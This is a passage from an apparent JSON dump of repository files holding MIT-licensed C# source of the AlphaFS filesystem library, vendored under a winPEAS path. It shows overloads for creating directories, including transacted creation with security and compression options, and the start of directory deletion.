}\n\n\n      /// <summary>[AlphaFS] Creates a new directory, with the attributes of a specified template directory.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, string templatePath)\n      {\n         return CreateDirectoryCore(false, null, path, templatePath, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new directory, with the attributes of a specified template directory.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, string templatePath, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, null, path, templatePath, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new directory, with the attributes of a specified template directory.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, string templatePath, bool compress)\n      {\n         return CreateDirectoryCore(false, null, path, templatePath, null, compress, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new directory, with the attributes of a specified template directory.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, string templatePath, bool compress, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, null, path, templatePath, null, compress, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, string templatePath, DirectorySecurity directorySecurity)\n      {\n         return CreateDirectoryCore(false, null, path, templatePath, directorySecurity, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, string templatePath, DirectorySecurity directorySecurity, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, null, path, templatePath, directorySecurity, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, string templatePath, DirectorySecurity directorySecurity, bool compress)\n      {\n         return CreateDirectoryCore(false, null, path, templatePath, directorySecurity, compress, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, string templatePath, DirectorySecurity directorySecurity, bool compress, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, null, path, templatePath, directorySecurity, compress, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.CreateDirectoryTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Creates all directories and subdirectories in the specified path unless they already exist.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path)\n      {\n         return CreateDirectoryCore(false, transaction, path, null, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, transaction, path, null, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, bool compress)\n      {\n         return CreateDirectoryCore(false, transaction, path, null, null, compress, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, bool compress, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, transaction, path, null, null, compress, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path, unless the already exist, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, DirectorySecurity directorySecurity)\n      {\n         return CreateDirectoryCore(false, transaction, path, null, directorySecurity, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, DirectorySecurity directorySecurity, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, transaction, path, null, directorySecurity, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, DirectorySecurity directorySecurity, bool compress)\n      {\n         return CreateDirectoryCore(false, transaction, path, null, directorySecurity, compress, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, DirectorySecurity directorySecurity, bool compress, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, transaction, path, null, directorySecurity, compress, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new directory, with the attributes of a specified template directory.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath)\n      {\n         return CreateDirectoryCore(false, transaction, path, templatePath, null, false, PathFormat.RelativePath);\n      }\n\n      /// <summary>[AlphaFS] Creates a new directory, with the attributes of a specified template directory.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, transaction, path, templatePath, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new directory, with the attributes of a specified template directory.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, bool compress)\n      {\n         return CreateDirectoryCore(false, transaction, path, templatePath, null, compress, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new directory, with the attributes of a specified template directory.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, bool compress, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, transaction, path, templatePath, null, compress, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, DirectorySecurity directorySecurity)\n      {\n         return CreateDirectoryCore(false, transaction, path, templatePath, directorySecurity, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, DirectorySecurity directorySecurity, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, transaction, path, templatePath, directorySecurity, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, DirectorySecurity directorySecurity, bool compress)\n      {\n         return CreateDirectoryCore(false, transaction, path, templatePath, directorySecurity, compress, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path of a specified template directory and applies the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectoryTransacted(KernelTransaction transaction, string path, string templatePath, DirectorySecurity directorySecurity, bool compress, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, transaction, path, templatePath, directorySecurity, compress, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.Delete.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Deletes an empty directory from a specified path.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"path\">The name of the empty directory to remove. This directory must be writable and empty.</param>\n      [SecurityCritical]\n      public static void Delete(string path)\n      {\n         DeleteDirectoryCore(null, null, path, false, false, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Deletes the specified directory and, if indicated, any subdirectories in the directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <param name=\"path\">The name of the directory to remove.</param>\n      /// <param name=\"recursive\"><c>true</c> to remove directories, subdirectories, and files in <paramref name=\"path\"/>. 